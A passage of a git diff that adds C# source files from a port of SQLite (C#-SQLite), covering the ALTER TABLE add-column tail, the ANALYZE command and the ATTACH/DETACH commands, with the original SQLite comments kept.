db, "sqlite_altertab_%s", pTab.zName ); + if ( pNew.aCol == null || pNew.zName == null ) + { +// db.mallocFailed = 1; + goto exit_begin_add_column; + } + // memcpy( pNew.aCol, pTab.aCol, sizeof(Column) * pNew.nCol ); + for ( i = 0 ; i < pNew.nCol ; i++ ) + { + Column pCol = pTab.aCol[i].Copy(); + // sqlite3DbStrDup( db, pCol.zName ); + pCol.zColl = null; + pCol.zType = null; + pCol.pDflt = null; + pCol.zDflt = null; + pNew.aCol[i] = pCol; + } + pNew.pSchema = db.aDb[iDb].pSchema; + pNew.addColOffset = pTab.addColOffset; + pNew.nRef = 1; + + /* Begin a transaction and increment the schema cookie. */ + sqlite3BeginWriteOperation( pParse, 0, iDb ); + v = sqlite3GetVdbe( pParse ); + if ( v == null ) goto exit_begin_add_column; + sqlite3ChangeCookie( pParse, iDb ); + +exit_begin_add_column: + sqlite3SrcListDelete( db, ref pSrc ); + return; + } +#endif // * SQLITE_ALTER_TABLE */ + } +} diff --git a/SQLite/src/analyze_c.cs b/SQLite/src/analyze_c.cs new file mode 100644 index 0000000..86481cb --- /dev/null +++ b/SQLite/src/analyze_c.cs @@ -0,0 +1,514 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; + +namespace CS_SQLite3 +{ + using sqlite3_int64 = System.Int64; + + public partial class CSSQLite + { + /* + ** 2005 July 8 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code associated with the ANALYZE command. + ** + ** @(#) $Id: analyze.c,v 1.52 2009/04/16 17:45:48 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ +#if !SQLITE_OMIT_ANALYZE + //#include "sqliteInt.h" + + /* + ** This routine generates code that opens the sqlite_stat1 table on cursor + ** iStatCur. + ** + ** If the sqlite_stat1 tables does not previously exist, it is created. + ** If it does previously exist, all entires associated with table zWhere + ** are removed. If zWhere==0 then all entries are removed. + */ + static void openStatTable( + Parse pParse, /* Parsing context */ + int iDb, /* The database we are looking in */ + int iStatCur, /* Open the sqlite_stat1 table on this cursor */ + string zWhere /* Delete entries associated with this table */ + ) + { + sqlite3 db = pParse.db; + Db pDb; + int iRootPage; + u8 createStat1 = 0; + Table pStat; + Vdbe v = sqlite3GetVdbe( pParse ); + + if ( v == null ) return; + Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); + Debug.Assert( sqlite3VdbeDb( v ) == db ); + pDb = db.aDb[iDb]; + if ( ( pStat = sqlite3FindTable( db, "sqlite_stat1", pDb.zName ) ) == null ) + { + /* The sqlite_stat1 tables does not exist. Create it. + ** Note that a side-effect of the CREATE TABLE statement is to leave + ** the rootpage of the new table in register pParse.regRoot. This is + ** important because the OpenWrite opcode below will be needing it. */ + sqlite3NestedParse( pParse, + "CREATE TABLE %Q.sqlite_stat1(tbl,idx,stat)", + pDb.zName + ); + iRootPage = pParse.regRoot; + createStat1 = 1; /* Cause rootpage to be taken from top of stack */ + } + else if ( zWhere != null ) + { + /* The sqlite_stat1 table exists. Delete all entries associated with + ** the table zWhere. */ + sqlite3NestedParse( pParse, + "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q", + pDb.zName, zWhere + ); + iRootPage = pStat.tnum; + } + else + { + /* The sqlite_stat1 table already exists. Delete all rows. */ + iRootPage = pStat.tnum; + sqlite3VdbeAddOp2( v, OP_Clear, pStat.tnum, iDb ); + } + + /* Open the sqlite_stat1 table for writing. Unless it was created + ** by this vdbe program, lock it for writing at the shared-cache level. + ** If this vdbe did create the sqlite_stat1 table, then it must have + ** already obtained a schema-lock, making the write-lock redundant. + */ + if ( createStat1 == 0 ) + { + sqlite3TableLock( pParse, iDb, iRootPage, 1, "sqlite_stat1" ); + } + sqlite3VdbeAddOp3( v, OP_OpenWrite, iStatCur, iRootPage, iDb ); + sqlite3VdbeChangeP4( v, -1, (int)3, P4_INT32 ); + sqlite3VdbeChangeP5( v, createStat1 ); + } + + /* + ** Generate code to do an analysis of all indices associated with + ** a single table. + */ + static void analyzeOneTable( + Parse pParse, /* Parser context */ + Table pTab, /* Table whose indices are to be analyzed */ + int iStatCur, /* Index of VdbeCursor that writes the sqlite_stat1 table */ + int iMem /* Available memory locations begin here */ + ) + { + Index pIdx; /* An index to being analyzed */ + int iIdxCur; /* Index of VdbeCursor for index being analyzed */ + int nCol; /* Number of columns in the index */ + Vdbe v; /* The virtual machine being built up */ + int i; /* Loop counter */ + int topOfLoop; /* The top of the loop */ + int endOfLoop; /* The end of the loop */ + int addr; /* The address of an instruction */ + int iDb; /* Index of database containing pTab */ + + v = sqlite3GetVdbe( pParse ); + if ( v == null || NEVER( pTab == null ) || pTab.pIndex == null ) + { + /* Do no analysis for tables that have no indices */ + return; + } + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + Debug.Assert( iDb >= 0 ); +#if !SQLITE_OMIT_AUTHORIZATION +if( sqlite3AuthCheck(pParse, SQLITE_ANALYZE, pTab.zName, 0, +pParse.db.aDb[iDb].zName ) ){ +return; +} +#endif + + /* Establish a read-lock on the table at the shared-cache level. */ + sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); + + iIdxCur = pParse.nTab++; + for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) + { + KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx ); + int regFields; /* Register block for building records */ + int regRec; /* Register holding completed record */ + int regTemp; /* Temporary use register */ + int regCol; /* Content of a column from the table being analyzed */ + int regRowid; /* Rowid for the inserted record */ + int regF2; + + /* Open a cursor to the index to be analyzed + */ + Debug.Assert( iDb == sqlite3SchemaToIndex( pParse.db, pIdx.pSchema ) ); + nCol = pIdx.nColumn; + sqlite3VdbeAddOp4( v, OP_OpenRead, iIdxCur, pIdx.tnum, iDb, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pIdx.zName ); +#endif + regFields = iMem + nCol * 2; + regTemp = regRowid = regCol = regFields + 3; + regRec = regCol + 1; + if ( regRec > pParse.nMem ) + { + pParse.nMem = regRec; + } + + /* Memory cells are used as follows: + ** + ** mem[iMem]: The total number of rows in the table. + ** mem[iMem+1]: Number of distinct values in column 1 + ** ... + ** mem[iMem+nCol]: Number of distinct values in column N + ** mem[iMem+nCol+1] Last observed value of column 1 + ** ... + ** mem[iMem+nCol+nCol]: Last observed value of column N + ** + ** Cells iMem through iMem+nCol are initialized to 0. The others + ** are initialized to NULL. + */ + for ( i = 0 ; i <= nCol ; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Integer, 0, iMem + i ); + } + for ( i = 0 ; i < nCol ; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, iMem + nCol + i + 1 ); + } + + /* Do the analysis. + */ + endOfLoop = sqlite3VdbeMakeLabel( v ); + sqlite3VdbeAddOp2( v, OP_Rewind, iIdxCur, endOfLoop ); + topOfLoop = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp2( v, OP_AddImm, iMem, 1 ); + for ( i = 0 ; i < nCol ; i++ ) + { + sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, i, regCol ); + sqlite3VdbeAddOp3( v, OP_Ne, regCol, 0, iMem + nCol + i + 1 ); + /**** TODO: add collating sequence *****/ + sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL ); + } + sqlite3VdbeAddOp2( v, OP_Goto, 0, endOfLoop ); + for ( i = 0 ; i < nCol ; i++ ) + { + sqlite3VdbeJumpHere( v, topOfLoop + 2 * ( i + 1 ) ); + sqlite3VdbeAddOp2( v, OP_AddImm, iMem + i + 1, 1 ); + sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, i, iMem + nCol + i + 1 ); + } + sqlite3VdbeResolveLabel( v, endOfLoop ); + sqlite3VdbeAddOp2( v, OP_Next, iIdxCur, topOfLoop ); + sqlite3VdbeAddOp1( v, OP_Close, iIdxCur ); + + /* Store the results. + ** + ** The result is a single row of the sqlite_stat1 table. The first + ** two columns are the names of the table and index. The third column + ** is a string composed of a list of integer statistics about the + ** index. The first integer in the list is the total number of entries + ** in the index. There is one additional integer in the list for each + ** column of the table. This additional integer is a guess of how many + ** rows of the table the index will select. If D is the count of distinct + ** values and K is the total number of rows, then the integer is computed + ** as: + ** + ** I = (K+D-1)/D + ** + ** If K==0 then no entry is made into the sqlite_stat1 table. + ** If K>0 then it is always the case the D>0 so division by zero + ** is never possible. + */ + addr = sqlite3VdbeAddOp1( v, OP_IfNot, iMem ); + sqlite3VdbeAddOp4( v, OP_String8, 0, regFields, 0, pTab.zName, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, regFields + 1, 0, pIdx.zName, 0 ); + regF2 = regFields + 2; + sqlite3VdbeAddOp2( v, OP_SCopy, iMem, regF2 ); + for ( i = 0 ; i < nCol ; i++ ) + { + sqlite3VdbeAddOp4( v, OP_String8, 0, regTemp, 0, ' ', 0 ); + sqlite3VdbeAddOp3( v, OP_Concat, regTemp, regF2, regF2 ); + sqlite3VdbeAddOp3( v, OP_Add, iMem, iMem + i + 1, regTemp ); + sqlite3VdbeAddOp2( v, OP_AddImm, regTemp, -1 ); + sqlite3VdbeAddOp3( v, OP_Divide, iMem + i + 1, regTemp, regTemp ); + sqlite3VdbeAddOp1( v, OP_ToInt, regTemp ); + sqlite3VdbeAddOp3( v, OP_Concat, regTemp, regF2, regF2 ); + } + sqlite3VdbeAddOp4( v, OP_MakeRecord, regFields, 3, regRec, new byte[] { (byte)'a', (byte)'a', (byte)'a' }, 0 ); + sqlite3VdbeAddOp2( v, OP_NewRowid, iStatCur, regRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, iStatCur, regRec, regRowid ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3VdbeJumpHere( v, addr ); + } + } + + /* + ** Generate code that will cause the most recent index analysis to + ** be laoded into internal hash tables where is can be used. + */ + static void loadAnalysis( Parse pParse, int iDb ) + { + Vdbe v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3VdbeAddOp1( v, OP_LoadAnalysis, iDb ); + } + } + + /* + ** Generate code that will do an analysis of an entire database + */ + static void analyzeDatabase( Parse pParse, int iDb ) + { + sqlite3 db = pParse.db; + Schema pSchema = db.aDb[iDb].pSchema; /* Schema of database iDb */ + HashElem k; + int iStatCur; + int iMem; + + sqlite3BeginWriteOperation( pParse, 0, iDb ); + iStatCur = pParse.nTab++; + openStatTable( pParse, iDb, iStatCur, null ); + iMem = pParse.nMem + 1; + //for(k=sqliteHashFirst(pSchema.tblHash); k; k=sqliteHashNext(k)){ + for ( k = pSchema.tblHash.first ; k != null ; k = k.next ) + { + Table pTab = (Table)k.data;// sqliteHashData( k ); + analyzeOneTable( pParse, pTab, iStatCur, iMem ); + } + loadAnalysis( pParse, iDb ); + } + + /* + ** Generate code that will do an analysis of a single table in + ** a database. + */ + static void analyzeTable( Parse pParse, Table pTab ) + { + int iDb; + int iStatCur; + + Debug.Assert( pTab != null ); + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + sqlite3BeginWriteOperation( pParse, 0, iDb ); + iStatCur = pParse.nTab++; + openStatTable( pParse, iDb, iStatCur, pTab.zName ); + analyzeOneTable( pParse, pTab, iStatCur, pParse.nMem + 1 ); + loadAnalysis( pParse, iDb ); + } + + /* + ** Generate code for the ANALYZE command. The parser calls this routine + ** when it recognizes an ANALYZE command. + ** + ** ANALYZE -- 1 + ** ANALYZE -- 2 + ** ANALYZE ?.? -- 3 + ** + ** Form 1 causes all indices in all attached databases to be analyzed. + ** Form 2 analyzes all indices the single database named. + ** Form 3 analyzes all indices associated with the named table. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3Analyze( Parse pParse, int null_2, int null_3 ) + { sqlite3Analyze( pParse, null, null ); } + static void sqlite3Analyze( Parse pParse, Token pName1, Token pName2 ) + { + sqlite3 db = pParse.db; + int iDb; + int i; + string z, zDb; + Table pTab; + Token pTableName = null; + + /* Read the database schema. If an error occurs, leave an error message + ** and code in pParse and return NULL. */ + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + return; + } + + Debug.Assert( pName2 != null || pName1 == null ); + if ( pName1 == null ) + { + /* Form 1: Analyze everything */ + for ( i = 0 ; i < db.nDb ; i++ ) + { + if ( i == 1 ) continue; /* Do not analyze the TEMP database */ + analyzeDatabase( pParse, i ); + } + } + else if ( pName2.n == 0 ) + { + /* Form 2: Analyze the database or table named */ + iDb = sqlite3FindDb( db, pName1 ); + if ( iDb >= 0 ) + { + analyzeDatabase( pParse, iDb ); + } + else + { + z = sqlite3NameFromToken( db, pName1 ); + if ( z != null ) + { + pTab = sqlite3LocateTable( pParse, 0, z, null ); + //sqlite3DbFree( db, ref z ); + if ( pTab != null ) + { + analyzeTable( pParse, pTab ); + } + } + } + } + else + { + /* Form 3: Analyze the fully qualified table name */ + iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pTableName ); + if ( iDb >= 0 ) + { + zDb = db.aDb[iDb].zName; + z = sqlite3NameFromToken( db, pTableName ); + if ( z != null ) + { + pTab = sqlite3LocateTable( pParse, 0, z, zDb ); + //sqlite3DbFree( db, ref z ); + if ( pTab != null ) + { + analyzeTable( pParse, pTab ); + } + } + } + } + } + + /* + ** Used to pass information from the analyzer reader through to the + ** callback routine. + */ + //typedef struct analysisInfo analysisInfo; + public struct analysisInfo + { + public sqlite3 db; + public string zDatabase; + }; + + /* + ** This callback is invoked once for each index when reading the + ** sqlite_stat1 table. + ** + ** argv[0] = name of the index + ** argv[1] = results of analysis - on integer for each column + */ + static int analysisLoader( object pData, sqlite3_int64 argc, object Oargv, object NotUsed ) + { + string[] argv = (string[])Oargv; + analysisInfo pInfo = (analysisInfo)pData; + Index pIndex; + int i, c; + int v; + string z; + + Debug.Assert( argc == 2 ); + UNUSED_PARAMETER2( NotUsed, argc ); + if ( argv == null || argv[0] == null || argv[1] == null ) + { + return 0; + } + pIndex = sqlite3FindIndex( pInfo.db, argv[0], pInfo.zDatabase ); + if ( pIndex == null ) + { + return 0; + } + z = argv[1]; + int zIndex = 0; + for ( i = 0 ; z != null && i <= pIndex.nColumn ; i++ ) + { + v = 0; + while ( zIndex < z.Length && ( c = z[zIndex] ) >= '0' && c <= '9' ) + { + v = v * 10 + c - '0'; + zIndex++; + } + pIndex.aiRowEst[i] = v; + if ( zIndex < z.Length && z[zIndex] == ' ' ) zIndex++; + } + return 0; + } + + /* + ** Load the content of the sqlite_stat1 table into the index hash tables. + */ + static int sqlite3AnalysisLoad( sqlite3 db, int iDb ) + { + analysisInfo sInfo; + HashElem i; + string zSql; + int rc; + + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + Debug.Assert( db.aDb[iDb].pBt != null ); + Debug.Assert( sqlite3BtreeHoldsMutex( db.aDb[iDb].pBt ) ); + /* Clear any prior statistics */ + //for(i=sqliteHashFirst(&db.aDb[iDb].pSchema.idxHash);i;i=sqliteHashNext(i)){ + for ( i = db.aDb[iDb].pSchema.idxHash.first ; i != null ; i = i.next ) + { + Index pIdx = (Index)i.data;// sqliteHashData( i ); + sqlite3DefaultRowEst( pIdx ); + } + + /* Check to make sure the sqlite_stat1 table exists */ + sInfo.db = db; + sInfo.zDatabase = db.aDb[iDb].zName; + if ( sqlite3FindTable( db, "sqlite_stat1", sInfo.zDatabase ) == null ) + { + return SQLITE_ERROR; + } + + + /* Load new statistics out of the sqlite_stat1 table */ + zSql = sqlite3MPrintf( db, "SELECT idx, stat FROM %Q.sqlite_stat1", + sInfo.zDatabase ); + if ( zSql == null ) + { + rc = SQLITE_NOMEM; + } + else + { + sqlite3SafetyOff( db ); + rc = sqlite3_exec( db, zSql, (dxCallback)analysisLoader, sInfo, 0 ); + sqlite3SafetyOn( db ); + //sqlite3DbFree( db, ref zSql ); +// if ( rc == SQLITE_NOMEM ) db.mallocFailed = 1; + } + return rc; + } + + +#endif // * SQLITE_OMIT_ANALYZE */ + } +} diff --git a/SQLite/src/attach_c.cs b/SQLite/src/attach_c.cs new file mode 100644 index 0000000..bd7b04d --- /dev/null +++ b/SQLite/src/attach_c.cs @@ -0,0 +1,624 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2003 April 6 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code used to implement the ATTACH and DETACH commands. + ** + ** $Id: attach.c,v 1.93 2009/05/31 21:21:41 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + +#if !SQLITE_OMIT_ATTACH + /* +** Resolve an expression that was part of an ATTACH or DETACH statement. This +** is slightly different from resolving a normal SQL expression, because simple +** identifiers are treated as strings, not possible column names or aliases. +** +** i.e. if the parser sees: +** +** ATTACH DATABASE abc AS def +** +** it treats the two expressions as literal strings 'abc' and 'def' instead of +** looking for columns of the same name. +** +** This only applies to the root node of pExpr, so the statement: +** +** ATTACH DATABASE abc||def AS 'db2' +** +** will fail because neither abc or def can be resolved. +*/ + static int resolveAttachExpr( NameContext pName, Expr pExpr ) + { + int rc = SQLITE_OK; + if ( pExpr != null ) + { + if ( pExpr.op != TK_ID ) + { + rc = sqlite3ResolveExprNames( pName, ref pExpr ); + if ( rc == SQLITE_OK && sqlite3ExprIsConstant( pExpr ) == 0 ) + { + sqlite3ErrorMsg( pName.pParse, "invalid name: \"%s\"", pExpr.u.zToken ); + return SQLITE_ERROR; + } + } + else + { + pExpr.op = TK_STRING; + } + } + return rc; + } + + /* + ** An SQL user-function registered to do the work of an ATTACH statement. The + ** three arguments to the function come directly from an attach statement: + ** + ** ATTACH DATABASE x AS y KEY z + ** + ** SELECT sqlite_attach(x, y, z) + ** + ** If the optional "KEY z" syntax is omitted, an SQL NULL is passed as the + ** third argument. + */ + static void attachFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + int i; + int rc = 0; + sqlite3 db = sqlite3_context_db_handle( context ); + string zName; + string zFile; + Db aNew = null; + string zErrDyn = ""; + + UNUSED_PARAMETER( NotUsed ); + + zFile = argv[0].z != null && ( argv[0].z.Length > 0 ) ? sqlite3_value_text( argv[0] ) : ""; + zName = argv[1].z != null && ( argv[1].z.Length > 0 ) ? sqlite3_value_text( argv[1] ) : ""; + //if( zFile==null ) zFile = ""; + //if ( zName == null ) zName = ""; + + + /* Check for the following errors: + ** + ** * Too many attached databases, + ** * Transaction currently open + ** * Specified database name already being used. + */ + if ( db.nDb >= db.aLimit[SQLITE_LIMIT_ATTACHED] + 2 ) + { + zErrDyn = sqlite3MPrintf( db, "too many attached databases - max %d", + db.aLimit[SQLITE_LIMIT_ATTACHED] + ); + goto attach_error; + } + if ( 0 == db.autoCommit ) + { + zErrDyn = sqlite3MPrintf( db, "cannot ATTACH database within transaction" ); + goto attach_error; + } + for ( i = 0 ; i < db.nDb ; i++ ) + { + string z = db.aDb[i].zName; + Debug.Assert( z != null && zName != null ); + if ( sqlite3StrICmp( z, zName ) == 0 ) + { + zErrDyn = sqlite3MPrintf( db, "database %s is already in use", zName ); + goto attach_error; + } + } + + /* Allocate the new entry in the db.aDb[] array and initialise the schema + ** hash tables. + */ + /* Allocate the new entry in the db.aDb[] array and initialise the schema + ** hash tables. + */ + //if( db.aDb==db.aDbStatic ){ + // aNew = sqlite3DbMallocRaw(db, sizeof(db.aDb[0])*3 ); + // if( aNew==0 ) return; + // memcpy(aNew, db.aDb, sizeof(db.aDb[0])*2); + //}else { + if ( db.aDb.Length <= db.nDb ) Array.Resize( ref db.aDb, db.nDb + 1 );//aNew = sqlite3DbRealloc(db, db.aDb, sizeof(db.aDb[0])*(db.nDb+1) ); + if ( db.aDb == null ) return; // if( aNew==0 ) return; + //} + db.aDb[db.nDb] = new Db();//db.aDb = aNew; + aNew = db.aDb[db.nDb];//memset(aNew, 0, sizeof(*aNew)); + // memset(aNew, 0, sizeof(*aNew)); + + /* Open the database file. If the btree is successfully opened, use + ** it to obtain the database schema. At this point the schema may + ** or may not be initialised. + */ + rc = sqlite3BtreeFactory( db, zFile, false, SQLITE_DEFAULT_CACHE_SIZE, + db.openFlags | SQLITE_OPEN_MAIN_DB, + ref aNew.pBt ); + db.nDb++; + if ( rc == SQLITE_CONSTRAINT ) + { + rc = SQLITE_ERROR; + zErrDyn = sqlite3MPrintf( db, "database is already attached" ); + } + else if ( rc == SQLITE_OK ) + { + Pager pPager; + aNew.pSchema = sqlite3SchemaGet( db, aNew.pBt ); + if ( aNew.pSchema == null ) + { + rc = SQLITE_NOMEM; + } + else if ( aNew.pSchema.file_format != 0 && aNew.pSchema.enc != ENC( db ) ) + { + zErrDyn = sqlite3MPrintf( db, + "attached databases must use the same text encoding as main database" ); + rc = SQLITE_ERROR; + } + pPager = sqlite3BtreePager( aNew.pBt ); + sqlite3PagerLockingMode( pPager, db.dfltLockMode ); + sqlite3PagerJournalMode( pPager, db.dfltJournalMode ); + } + aNew.zName = zName;// sqlite3DbStrDup( db, zName ); + aNew.safety_level = 3; + +#if SQLITE_HAS_CODEC +{ +extern int sqlite3CodecAttach(sqlite3*, int, const void*, int); +extern void sqlite3CodecGetKey(sqlite3*, int, void**, int*); +int nKey; +char *zKey; +int t = sqlite3_value_type(argv[2]); +switch( t ){ +case SQLITE_INTEGER: +case SQLITE_FLOAT: +zErrDyn = sqlite3DbStrDup(db, "Invalid key value"); +rc = SQLITE_ERROR; +break; + +case SQLITE_TEXT: +case SQLITE_BLOB: +nKey = sqlite3_value_bytes(argv[2]); +zKey = (char *)sqlite3_value_blob(argv[2]); +sqlite3CodecAttach(db, db.nDb-1, zKey, nKey); +break; + +case SQLITE_NULL: +/* No key specified. Use the key from the main database */ +sqlite3CodecGetKey(db, 0, (void**)&zKey, nKey); +sqlite3CodecAttach(db, db.nDb-1, zKey, nKey); +break; +} +} +#endif + + /* If the file was opened successfully, read the schema for the new database. +** If this fails, or if opening the file failed, then close the file and +** remove the entry from the db.aDb[] array. i.e. put everything back the way +** we found it. +*/ + if ( rc == SQLITE_OK ) + { + sqlite3SafetyOn( db ); + sqlite3BtreeEnterAll( db ); + rc = sqlite3Init( db, ref zErrDyn ); + sqlite3BtreeLeaveAll( db ); + sqlite3SafetyOff( db ); + } + if ( rc != 0 ) + { + int iDb = db.nDb - 1; + Debug.Assert( iDb >= 2 ); + if ( db.aDb[iDb].pBt != null ) + { + sqlite3BtreeClose( ref db.aDb[iDb].pBt ); + db.aDb[iDb].pBt = null; + db.aDb[iDb].pSchema = null; + } + sqlite3ResetInternalSchema( db, 0 ); + db.nDb = iDb; + if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) + { + //// db.mallocFailed = 1; + //sqlite3DbFree( db, zErrDyn ); + zErrDyn = sqlite3MPrintf( db, "out of memory" ); + } + else if ( zErrDyn == "" ) + { + zErrDyn = sqlite3MPrintf( db, "unable to open database: %s", zFile ); + } + goto attach_error; + } + + return; + +attach_error: + /* Return an error if we get here */ + if ( zErrDyn != "" ) + { + sqlite3_result_error( context, zErrDyn, -1 ); + //sqlite3DbFree( db, ref zErrDyn ); + } + if ( rc != 0 ) sqlite3_result_error_code( context, rc ); + } + + /* + ** An SQL user-function registered to do the work of an DETACH statement. The + ** three arguments to the function come directly from a detach statement: + ** + ** DETACH DATABASE x + ** + ** SELECT sqlite_detach(x) + */ + static void detachFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + string zName = zName = argv[0].z != null && ( argv[0].z.Length > 0 ) ? sqlite3_value_text( argv[0] ) : "";//(sqlite3_value_text(argv[0]); + sqlite3 db = sqlite3_context_db_handle( context ); + int i; + Db pDb = null; + string zErr = ""; + + UNUSED_PARAMETER( NotUsed ); + + if ( zName == null ) zName = ""; + for ( i = 0 ; i < db.nDb ; i++ ) + { + pDb = db.aDb[i]; + if ( pDb.pBt == null ) continue; + if ( sqlite3StrICmp( pDb.zName, zName ) == 0 ) break; + } + + if ( i >= db.nDb ) + { + sqlite3_snprintf( 200, ref zErr, "no such database: %s", zName ); + goto detach_error; + } + if ( i < 2 ) + { + sqlite3_snprintf( 200, ref zErr, "cannot detach database %s", zName ); + goto detach_error; + } + if ( 0 == db.autoCommit ) + { + sqlite3_snprintf( 200, ref zErr, + "cannot DETACH database within transaction" ); + goto detach_error; + } + if ( sqlite3BtreeIsInReadTrans( pDb.pBt ) || sqlite3BtreeIsInBackup( pDb.pBt ) ) + { + sqlite3_snprintf( 200, ref zErr, "database %s is locked", zName ); + goto detach_error; + } + + sqlite3BtreeClose( ref pDb.pBt ); + pDb.pBt = null; + pDb.pSchema = null; + sqlite3ResetInternalSchema( db, 0 ); + return; + +detach_error: + sqlite3_result_error( context, zErr, -1 ); + } + + /* + ** This procedure generates VDBE code for a single invocation of either the + ** sqlite_detach() or sqlite_attach() SQL user functions. + */ + static void codeAttach( + Parse pParse, /* The parser context */ + int type, /* Either SQLITE_ATTACH or SQLITE_DETACH */ + FuncDef pFunc, /* FuncDef wrapper for detachFunc() or attachFunc() */ + Expr pAuthArg, /* Expression to pass to authorization callback */ + Expr pFilename, /* Name of database file */ + Expr pDbname, /* Name of the database to use internally */ + Expr pKey /* Database key for encryption extension */ + ) + { + int rc; + NameContext sName; + Vdbe v; + sqlite3 db = pParse.db; + int regArgs; + + sName = new NameContext();// memset( &sName, 0, sizeof(NameContext)); + sName.pParse = pParse; + + if ( + SQLITE_OK != ( rc = resolveAttachExpr( sName, pFilename ) ) || + SQLITE_OK != ( rc = resolveAttachExpr( sName, pDbname ) ) || + SQLITE_OK != ( rc = resolveAttachExpr( sName, pKey ) ) + ) + { + pParse.nErr++; + goto attach_end; + } + +#if !SQLITE_OMIT_AUTHORIZATION +if( pAuthArg ){ +char *zAuthArg = pAuthArg->u.zToken; +if( NEVER(zAuthArg==0) ){ +goto attach_end; +} +rc = sqlite3AuthCheck(pParse, type, zAuthArg, 0, 0); +if(rc!=SQLITE_OK ){ +goto attach_end; +} +} +#endif //* SQLITE_OMIT_AUTHORIZATION */ + + v = sqlite3GetVdbe( pParse ); + regArgs = sqlite3GetTempRange( pParse, 4 ); + sqlite3ExprCode( pParse, pFilename, regArgs ); + sqlite3ExprCode( pParse, pDbname, regArgs + 1 ); + sqlite3ExprCode( pParse, pKey, regArgs + 2 ); + + Debug.Assert( v != null /*|| db.mallocFailed != 0 */ ); + if ( v != null ) + { + sqlite3VdbeAddOp3( v, OP_Function, 0, regArgs + 3 - pFunc.nArg, regArgs + 3 ); + Debug.Assert( pFunc.nArg == -1 || ( pFunc.nArg & 0xff ) == pFunc.nArg ); + sqlite3VdbeChangeP5( v, (u8)( pFunc.nArg ) ); + sqlite3VdbeChangeP4( v, -1, pFunc, P4_FUNCDEF ); + + /* Code an OP_Expire. For an ATTACH statement, set P1 to true (expire this + ** statement only). For DETACH, set it to false (expire all existing + ** statements). + */ + sqlite3VdbeAddOp1( v, OP_Expire, ( type == SQLITE_ATTACH ) ? 1 : 0 ); + } + +attach_end: + sqlite3ExprDelete( db, ref pFilename ); + sqlite3ExprDelete( db, ref pDbname ); + sqlite3ExprDelete( db, ref pKey ); + } + + /* + ** Called by the parser to compile a DETACH statement. + ** + ** DETACH pDbname + */ + static void sqlite3Detach( Parse pParse, Expr pDbname ) + { + FuncDef detach_func = new FuncDef( + 1, /* nArg */ + SQLITE_UTF8, /* iPrefEnc */ + 0, /* flags */ + null, /* pUserData */ + null, /* pNext */ + detachFunc, /* xFunc */ + null, /* xStep */ + null, /* xFinalize */ + "sqlite_detach", /* zName */ + null /* pHash */ + ); + codeAttach( pParse, SQLITE_DETACH, detach_func, pDbname, null, null, pDbname ); + } + + /* + ** Called by the parser to compile an ATTACH statement. + ** + ** ATTACH p AS pDbname KEY pKey + */ + static void sqlite3Attach( Parse pParse, Expr p, Expr pDbname, Expr pKey ) + { + FuncDef attach_func = new FuncDef( + 3, /* nArg */ + SQLITE_UTF8, /* iPrefEnc */ + 0, /* flags */ + null, /* pUserData */ + null, /* pNext */ + attachFunc, /* xFunc */ + null, /* xStep */ + null, /* xFinalize */ + "sqlite_attach", /* zName */ + null /* pHash */ + ); + codeAttach( pParse, SQLITE_ATTACH, attach_func, p, p, pDbname, pKey ); + } +#endif // * SQLITE_OMIT_ATTACH */ + + /* +** Initialize a DbFixer structure. This routine must be called prior +** to passing the structure to one of the sqliteFixAAAA() routines below. +** +** The return value indicates whether or not fixation is required. TRUE +** means we do need to fix the database references, FALSE means we do not. +*/ + static int sqlite3FixInit( + DbFixer pFix, /* The fixer to be initialized */ + Parse pParse, /* Error messages will be written here */ + int iDb, /* This is the database that must be used */ + string zType, /* "view", "trigger", or "index" */ + Token pName 